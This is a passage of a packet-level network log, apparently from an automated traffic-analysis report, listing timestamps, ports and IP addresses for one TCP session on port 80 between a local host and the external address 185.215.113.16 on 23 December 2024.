Dec 23, 2024 08:15:53.971805096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.971950054 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.022484064 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.025212049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.025305033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.025320053 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.025437117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.025595903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.025830030 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.025842905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.025855064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.026421070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.026484013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.026498079 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.026529074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.026529074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.026529074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.026529074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.026529074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.026602983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.026961088 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.027172089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.027271986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.027283907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.027370930 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.027401924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.027534962 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.027995110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.028085947 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.028104067 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.028173923 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.028198004 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.028320074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.028774023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.028837919 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.028848886 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.028997898 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.029378891 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.029378891 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.029544115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.029632092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.029648066 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.030313969 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.069717884 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.078001022 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078059912 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078072071 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078104973 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.078212976 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078305006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078318119 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078388929 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.078388929 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.078428030 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078469992 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.078517914 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.079035997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.079083920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.079097033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.079118013 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.079245090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.079628944 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.079822063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.079896927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.079909086 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.080064058 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.080185890 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.080185890 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.080606937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.080678940 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.080691099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.080809116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.081191063 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.081191063 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.152715921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.152744055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.152868986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.152941942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.152982950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.152987003 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.152987003 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.152997971 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.153625011 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.153700113 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.153712988 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.153747082 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.153748035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.153822899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.154372931 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.154450893 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.154464006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.154495001 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.154495001 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.154575109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.155193090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.155251026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.155263901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.155371904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.155780077 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.155781031 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.155781031 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.155998945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.156052113 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.156065941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.156203985 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.156239033 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.156239033 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.157159090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.157179117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.157193899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.157208920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.157233000 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.157294035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.157552958 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.157666922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.157682896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.157778025 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.158015013 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.158015013 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.158385038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.158451080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.158464909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.158495903 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.158592939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.159146070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.159197092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.159210920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.159231901 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.159284115 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.159346104 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.159456968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.159930944 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160012007 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160024881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160053968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.160142899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160495043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.160690069 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160830975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160845041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160927057 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.160937071 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.161212921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.161493063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.161587000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.161600113 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.161721945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.161741018 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.161784887 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.162318945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.162379026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.162393093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.162420988 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.162498951 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.162538052 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.163079023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.163166046 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.163180113 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.163240910 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.163288116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.163330078 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.163897038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.163968086 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.163981915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.164031982 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.217392921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.217451096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.217571020 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.217617989 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.217668056 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.217684031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.217745066 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.217791080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.217840910 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.218280077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.218381882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.218417883 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.218434095 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.218497038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.218547106 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.219055891 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.219130039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.219141006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.219268084 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.219274044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.219331026 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.219858885 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220000982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220035076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220055103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220307112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.220307112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.220643044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220779896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220830917 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220868111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.220901966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.220901966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.221482038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.221555948 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.221571922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.221647978 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.221652031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.221769094 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.222229958 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.222310066 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.222379923 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.270258904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270375967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270394087 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270440102 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270523071 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270592928 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.270592928 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.270653963 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270715952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.270754099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270766973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270859003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.270878077 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.271449089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.271501064 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.271521091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.271533966 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.271645069 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.271647930 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.272244930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.272305965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.272320032 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.272397995 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.272397995 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.272442102 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.273005962 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.273076057 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.273159981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.273170948 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.273253918 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.273253918 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.319371939 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.345092058 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.345159054 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.345172882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.345264912 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.345299959 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.345299959 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.345427990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.345509052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.345521927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.345634937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.346117020 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.346117020 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.346215010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.346314907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.346328020 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.346357107 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.346427917 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.346553087 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.347001076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.347093105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.347105026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.347203016 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.347321987 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.347321987 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.347783089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.347875118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.347889900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.348028898 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.348074913 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.348074913 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.348603010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.348654985 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.348668098 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.348779917 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.348818064 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.348818064 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.349385977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.349455118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.349467993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.349590063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.349642038 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.349642038 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.350173950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.350263119 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.350275993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.350310087 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.350374937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.350665092 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.350949049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.351030111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.351042032 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.351150036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.351186037 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.351186037 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.351749897 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.351818085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.351830006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.351855993 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.352097988 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.352308989 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.352549076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.352632999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.352643967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.352767944 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.352933884 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.352933884 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.353328943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.353414059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.353425980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.353533030 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.353574038 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.353574038 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.354120970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.354206085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.354219913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.354335070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.354635000 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.354635000 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.354918957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355010033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355022907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355096102 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.355130911 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355212927 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.355720997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355798006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355809927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355918884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.355986118 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.355986118 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.356426001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.397655010 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.410351992 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.410412073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.410424948 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.410520077 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.410552025 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.410681009 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.410715103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.410778999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.410794020 CET	80	49763	185.215.113.16	192.168.2.10
